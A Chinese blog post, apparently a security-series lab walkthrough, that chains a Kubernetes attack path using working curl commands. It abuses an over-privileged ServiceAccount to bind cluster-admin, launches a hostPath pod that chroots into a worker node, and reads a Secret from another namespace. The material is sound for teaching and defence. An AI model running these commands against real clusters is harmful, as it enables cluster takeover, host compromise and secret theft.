經過 Day 20~23 的討論,這次我們將這四天的內容串成一條攻擊路徑,透過實作加深印象。
.182 是 control-plane,.183 是 worker(css-leon-12-183-demo)。lab24 裡的 foothold,映像是 curlimages/curl,所以只有 curl、沒有 kubectl。lab24-prod,裡面放了一個 Secret crown-jewel。foothold 對這個 namespace 完全沒有任何權限——最後能不能讀到它,就是「跨 namespace 通吃」的驗收標準。我們這次的目標是從 Pod 內的容器出發,利用 ServiceAccount 的過度授權,透過 Kubernetes API 建立新的 Pod,最終存取 Worker 183 的主機檔案系統。進入起始容器後,先設定接下來會用到的變數與函數:
SA=/var/run/secrets/kubernetes.io/serviceaccount; API=https://kubernetes.default.svc
AUTH="Authorization: Bearer $(cat $SA/token)"; C() { curl -s --cacert $SA/ca.crt -H "$AUTH" "$@"; }

先檢查現在所在的容器有甚麼權限跟資源可以給我們使用:
id
grep -E '^Cap(Prm|Eff|Bnd)' /proc/self/status
command -v kubectl; command -v nsenter; command -v base64 ; command -v chroot

根據輸出結果可以獲得以下資訊:
先去尋找這個 Pod 的身分跟 Token 看看能不能挖出甚麼好東西:
cat $SA/namespace ; echo
cut -d. -f2 $SA/token | tr '_-' '/+' | base64 -d 2>/dev/null | tr ',' '\n'

在這裡我們查出這個 pod 的資訊如下:
確認身分了,接下來看看我們能利用這個 token 做到什麼事情:
C -H 'Content-Type: application/json' -X POST $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"lab24"}}'

完整的 JSON 回應如下:
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create",
"get",
"list"
],
"apiGroups": [
"rbac.authorization.k8s.io"
],
"resources": [
"clusterrolebindings"
]
},
{
"verbs": [
"bind",
"escalate",
"get",
"list"
],
"apiGroups": [
"rbac.authorization.k8s.io"
],
"resources": [
"clusterroles"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/.well-known/openid-configuration/",
"/openid/v1/jwks",
"/openid/v1/jwks/"
]
}
],
"incomplete": false
}
}
對照 Day 21 介紹的 RBAC 規則,可以發現目前的 ServiceAccount 具有建立 ClusterRoleBinding,以及對 cluster-admin 這個 ClusterRole 執行 bind 的權限。因此,我們可以建立新的綁定,將 cluster-admin 的權限授予目前使用的 ServiceAccount。
在綁定之前先檢查一下 Pod 的身分能不能做到讀取 Secret、建立 Pod、查看 Nodes 清單:
C -o /dev/null -w " %{http_code}\n" $API/api/v1/namespaces/kube-system/secrets
C -o /dev/null -w " %{http_code}\n" $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel
C -o /dev/null -w " %{http_code}\n" $API/api/v1/nodes
C -o /dev/null -w " %{http_code}\n" -H 'Content-Type: application/json' \
-X POST "$API/api/v1/namespaces/lab24/pods?dryRun=All" \
-d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"probe"},"spec":{"containers":[{"name":"c","image":"busybox"}]}}'

根據上面的圖片輸出結果,目前都沒有權限可以做到讀取 Secret、建立 Pod、查看 Nodes 清單。
現在我們可以新建一條 ClusterRoleBinding,讓我們拿到cluster-admin:
C -o /dev/null -w "create CRB -> %{http_code}\n" -H 'Content-Type: application/json' -X POST \
$API/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
-d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"name":"lab24-pwn"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"foothold","namespace":"lab24"}]}'

建立成功後回去執行剛剛檢查權限的四個指令確認權限是否已生效:
可以用以下指令來檢視 Cluster 的 Node 狀態:
C $API/api/v1/nodes | grep -oE '"name": "[^"]*"'
C $API/api/v1/nodes | grep -E '"(name|key|effect)": ' | grep -vE 'f:|manager|operation'

從這張圖可以看到這個叢集的節點組成初步被我們掌握了。
接著在 Worker 183 上建立一個新的 Pod,透過 hostPath 將主機根目錄掛載至容器內的 /host,再讓其中的容器執行 chroot /host head -n1 /etc/passwd,讀取主機的 /etc/passwd 第一行。
cat > /tmp/escape.json <<'JSON'
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"escape","namespace":"lab24"},
"spec":{"nodeName":"css-leon-12-183-demo","restartPolicy":"Never",
"containers":[{"name":"c","image":"busybox:1.28","imagePullPolicy":"IfNotPresent",
"command":["sh","-c","echo NODE=$(cat /host/etc/hostname); echo MACHINE_ID=$(cat /host/etc/machine-id); chroot /host head -n1 /etc/passwd"],
"volumeMounts":[{"name":"h","mountPath":"/host"}]}],
"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
JSON
C -o /dev/null -w "create escape pod -> %{http_code}\n" -H 'Content-Type: application/json' -X POST \
$API/api/v1/namespaces/lab24/pods -d @/tmp/escape.json

最後用這指令確認主機根目錄是否已成功掛載:
C $API/api/v1/namespaces/lab24/pods/escape/log

最後,我們嘗試讀取 lab24-prod namespace 中名為 crown-jewel 的 Secret。取得 cluster-admin 權限後,原先遭到拒絕的讀取請求已能成功執行,並可將其中的 flag 欄位進行 Base64 解碼。
C $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel | grep -E '"(flag|type)"'
C $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel | grep -oE '"flag": "[^"]*"' | cut -d'"' -f4 | base64 -d; echo

這樣就完成了今天 K8s Attack Path 的過程了。
這是我第一次完整設計並實作這條攻擊路徑,若有說明不精確,或值得進一步驗證的地方,歡迎在留言區分享意見與想法。
謝謝大家的閱讀,我們明天見!